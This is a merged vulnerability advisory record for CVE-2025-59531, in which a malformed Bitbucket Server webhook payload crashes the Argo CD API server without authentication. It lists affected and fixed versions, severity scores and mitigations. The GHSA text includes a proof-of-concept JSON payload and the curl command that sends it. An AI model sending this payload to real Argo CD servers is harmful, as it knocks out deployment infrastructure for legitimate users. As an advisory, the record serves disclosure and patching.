{"id":"CVE-2025-59531","aliases":["CVE-2025-59531","GHSA-f9gq-prrc-hrhc","BIT-ARGO-CD-2025-59531","GO-2025-3993"],"related":[],"kind":"vulnerability","state":"published","title":"Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload","summary":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nUnpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. \n\nWith the default configuration, no `webhook.bitbucketserver.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field `repository.links.clone` is anything other than an array.\n\nA single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.\n\n### Details\n```go\n// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)\n\nfor _, l := range payload.Repository.Links[\"clone\"].([]any) {   // <- unsafe cast\n    link := l.(map[string]any)\n    ...\n}\n```\n\nIf links.clone is a string, number, object, or null, the first type assertion panics:\ninterface conversion: interface {} is string, not []interface {}\n\nThe worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.\n\n### PoC\n\nSave as payload-panic.json - note the non-array links.clone.\n\n```json\n{\n  \"eventKey\": \"repo:refs_changed\",\n  \"repository\": {\n    \"name\": \"guestbook\",\n    \"fullName\": \"APP/guestbook\",\n    \"links\": { \"clone\": \"boom\" }\n  },\n  \"changes\": [ { \"ref\": { \"id\": \"refs/heads/master\" } } ]\n}\n```\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H 'X-Event-Key: repo:refs_changed' \\\n     -H 'Content-Type: application/json' \\\n     --data-binary @payload-panic.json\n```\n\nObserved crash (argocd-server restart):\n\n```\npanic: interface conversion: interface {} is string, not []interface {}\ngoroutine 192 [running]:\ngithub.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo\n    webhook.go:209 +0x1218\n...\n```\n\n### Mitigation\n\nIf you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.bitbucketserver.secret: <your base64-encoded secret here>\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload in github.com/argoproj/argo-cd","format":"markdown","source":"go"},{"lang":"es","text":"Argo CD es una herramienta de entrega continua declarativa, GitOps para Kubernetes. Las versiones 1.2.0 hasta 1.8.7, 2.0.0-rc1 hasta 2.14.19, 3.0.0-rc1 hasta 3.2.0-rc1, 3.1.7 y 3.0.18 son vulnerables a solicitudes API maliciosas que pueden colapsar el servidor API y causar denegación de servicio a clientes legítimos. Sin un webhook.bitbucketserver.secret configurado, el endpoint /api/webhook de Argo CD colapsa al recibir una carga útil (payload) malformada de Bitbucket Server (campo repository.links.clone no-array). Una única solicitud no autenticada desencadena CrashLoopBackOff, y apuntar a todas las réplicas causa una interrupción completa de la API. Este problema está solucionado en las versiones 2.14.20, 3.2.0-rc2, 3.1.8 y 3.0.19.","source":"nvd"},{"lang":"en","text":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0 through 2.14.19, 3.0.0 through 3.2.0, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.1.8 and 3.0.19.","format":"markdown","source":"bitnami"}],"published":"2025-09-30T18:11:59.000Z","modified":"2026-10-12T15:10:00.207Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-703"],"affected":[{"ranges":[{"version":">= 1.2.0, <= 1.8.7","status":"affected"},{"version":">= 2.0.0-rc1, < 2.14.20","status":"affected"},{"version":">= 3.2.0-rc1, < 3.2.0-rc2","status":"affected"},{"version":">= 3.1.0-rc1, < 3.1.8","status":"affected"},{"version":">= 3.0.0-rc1, < 3.0.19","status":"affected"}],"vendor":"argoproj","product":"argo-cd","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.2.0","status":"affected","lastAffected":"1.8.7"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd","purl":"pkg:golang/github.com/argoproj/argo-cd","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.0.0-rc1","status":"affected","fixed":"2.14.20"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","purl":"pkg:golang/github.com/argoproj/argo-cd/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.2.0-rc1","status":"affected","fixed":"3.2.0-rc2"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v3","purl":"pkg:golang/github.com/argoproj/argo-cd/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.1.0-rc1","status":"affected","fixed":"3.1.8"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v3","purl":"pkg:golang/github.com/argoproj/argo-cd/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"3.0.0-rc1","status":"affected","fixed":"3.0.19"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v3","purl":"pkg:golang/github.com/argoproj/argo-cd/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.2.0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd","purl":"pkg:golang/github.com/argoproj/argo-cd","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.14.20"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v2","purl":"pkg:golang/github.com/argoproj/argo-cd/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"3.0.0-rc1","status":"affected","fixed":"3.0.19"},{"type":"semver","introduced":"3.1.0-rc1","status":"affected","fixed":"3.1.8"},{"type":"semver","introduced":"3.2.0-rc1","status":"affected","fixed":"3.2.0-rc2"}],"ecosystem":"Go","package":"github.com/argoproj/argo-cd/v3","purl":"pkg:golang/github.com/argoproj/argo-cd/v3","source":"go"},{"ranges":[{"status":"affected","introduced":"1.2.0","lastAffected":"1.8.7"},{"status":"affected","introduced":"2.0.0","fixed":"2.14.20"},{"status":"affected","introduced":"3.0.0","fixed":"3.0.19"},{"status":"affected","introduced":"3.1.0","fixed":"3.1.8"},{"status":"affected","version":"3.2.0"}],"vendor":"argoproj","product":"argo_cd","cpe":"cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"1.2.0","status":"affected","fixed":"2.14.20"},{"type":"semver","introduced":"3.0.0","status":"affected","fixed":"3.0.19"},{"type":"semver","introduced":"3.1.0","status":"affected","fixed":"3.1.8"}],"ecosystem":"Bitnami","package":"argo-cd","purl":"pkg:bitnami/argo-cd","source":"bitnami"}],"references":[{"url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59531","tags":["advisory","web"],"sources":["ghsa","go","bitnami"]},{"url":"https://github.com/argoproj/argo-cd","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2025-3993","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-10-02T15:35:32.474Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-59531","url":"https://www.cve.org/CVERecord?id=CVE-2025-59531","licence":"CVE Terms of Use","modified":"2025-10-02T15:54:24.950Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f9gq-prrc-hrhc","url":"https://github.com/advisories/GHSA-f9gq-prrc-hrhc","licence":"CC-BY-4.0","modified":"2025-10-23T20:21:58.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3993","url":"https://pkg.go.dev/vuln/GO-2025-3993","licence":"CC-BY-4.0","modified":"2026-04-20T19:00:21.450Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-59531","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59531","licence":"Public domain","modified":"2026-10-12T15:10:00.207Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-ARGO-CD-2025-59531","url":"https://osv.dev/vulnerability/BIT-ARGO-CD-2025-59531","licence":"Apache-2.0","modified":"2026-09-08T08:45:35.523Z"}],"updatedAt":"2026-11-25T22:59:05.416Z","epss":{"score":0.00617,"percentile":0.50906,"date":"2026-12-01T12:00:22.000Z"}}